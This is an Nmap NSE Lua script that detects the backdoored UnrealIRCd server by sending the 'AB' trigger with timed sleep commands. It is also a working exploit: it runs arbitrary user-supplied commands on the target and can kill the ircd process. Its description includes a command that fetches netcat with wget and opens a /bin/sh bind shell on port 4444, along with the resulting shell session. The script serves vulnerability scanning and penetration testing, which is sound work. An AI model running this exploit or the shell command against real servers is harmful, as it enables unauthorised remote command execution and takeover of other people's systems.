description = [[ Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond. The irc-unrealircd-backdoor.command script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here: $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 ( http://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron Metasploit can also be used to exploit this vulnerability. In addition to running arbitrary commands, the irc-unrealircd-backdoor.kill script argument can be passed, which simply kills the UnrealIRCd process. Reference: * http://seclists.org/fulldisclosure/2010/Jun/277 * http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt * http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor ]] --- -- @args irc-unrealircd-backdoor.command An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern %IP% will be replaced with the ip address of the target host. -- @args irc-unrealircd-backdoor.kill If set to 1 or true, kill the backdoored UnrealIRCd running. -- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). -- -- @output -- PORT STATE SERVICE -- 6667/tcp open irc -- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277 -- author = "Vlatko Kosturjak and Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit", "intrusive", "malware", "vuln"} require "shortport" require "comm" require "stdnse" portrule = shortport.port_or_service({6666,6667,6697,6679,8067},{"irc","ircs"}) action = function(host, port) local socket = nmap.new_socket() local code, message local status, err local data -- Wait up to this long for the server to send its startup messages and -- a response to our noop_command. After this, send the full_command. -- Usually we don't have to wait the full time because we can detect -- the response to noop_command. local banner_timeout = 60 -- Send a command to sleep this long. This just has to be long enough -- to remove confusion from network delay. local delay = 8 -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable. -- I defined the furdge as 1 second, for now, just because of rounding issues. In practice, -- the actual delay should never be shorter than the given delay, only longer. local delay_fudge = 1 -- We send this command on connection because comm.tryssl needs to send -- something; it also allows us to detect the end of server -- initialization. local noop_command = "TIME" -- The 'AB' sequence triggers the backdoor to run a command. local trigger = "AB" -- We define a highly unique variable as a type of 'ping' -- it lets us see when our -- command returns. Typically, asynchronous data will be received after the initial -- connection -- this lets us ignore that extra data. local unique = "SOMETHINGUNIQUE" -- On Linux, do a simple sleep command. local command_linux = "sleep " .. delay -- Set up an extra command, if the user requested one local command_extra = "" if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command') -- Replace "%IP%" with the ip address command_extra = string.gsub(command_extra, '%%IP%%', host.ip) end -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want -- to add 1 to the delay because the first ping happens instantly. -- -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly -- not vulnerable. However, it's possible that some odd person may have compiled it -- from the vulnerable sourcecode, so we check for it anyways. local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1" -- Put together the full command local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra) -- wait time: get rid of fast reconnecting annoyance if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait') stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime) stdnse.sleep(waittime) end -- Send an innocuous command as fodder for tryssl. stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command); local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false}) -- Make sure the socket worked if(not(socket) or not(response)) then stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host") return nil end socket:set_timeout(banner_timeout * 1000) -- Look for the end of initial server messages. This allows reverse DNS -- resolution and ident lookups to time out and not interfere with our -- timing measurement. status = true data = response while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do status, response = socket:receive_bytes(0) if status then data = data .. response end end if not status then stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response) return nil end -- Send the backdoor command. stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command); status, err = socket:send(full_command .. "\n") if not status then stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err) return nil end -- Get the current time so we can measure the delay time = os.time(os.date('*t')) socket:set_timeout((delay + 5) * 1000) -- Accumulate the response in the 'data' string status = true data = "" while not string.find(data, unique) do status, response = socket:receive_bytes(0) if status then data = data .. response else -- If the server unexpectedly closes the connection, it -- is usually related to throttling. Therefore, we -- print a throttling warning. stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response) socket:close() return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)." end end -- Determine the elapsed time local elapsed = os.time(os.date('*t')) - time -- Let the user know that everything's working stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds") -- Determine whether or not the vulnerability is present if(elapsed > (delay - delay_fudge)) then -- Check if the user wants to kill the server. if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...") local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`" local windows_kill = 'wmic process where "name like \'%ircd%\'" delete' local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill) -- Kill the process stdnse.print_debug(1, "Running kill command: %s", kill_command) socket:send(kill_command .. "\n") end stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!") -- Close the socket socket:close() return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277" end -- Close the socket socket:close() stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.") return nil end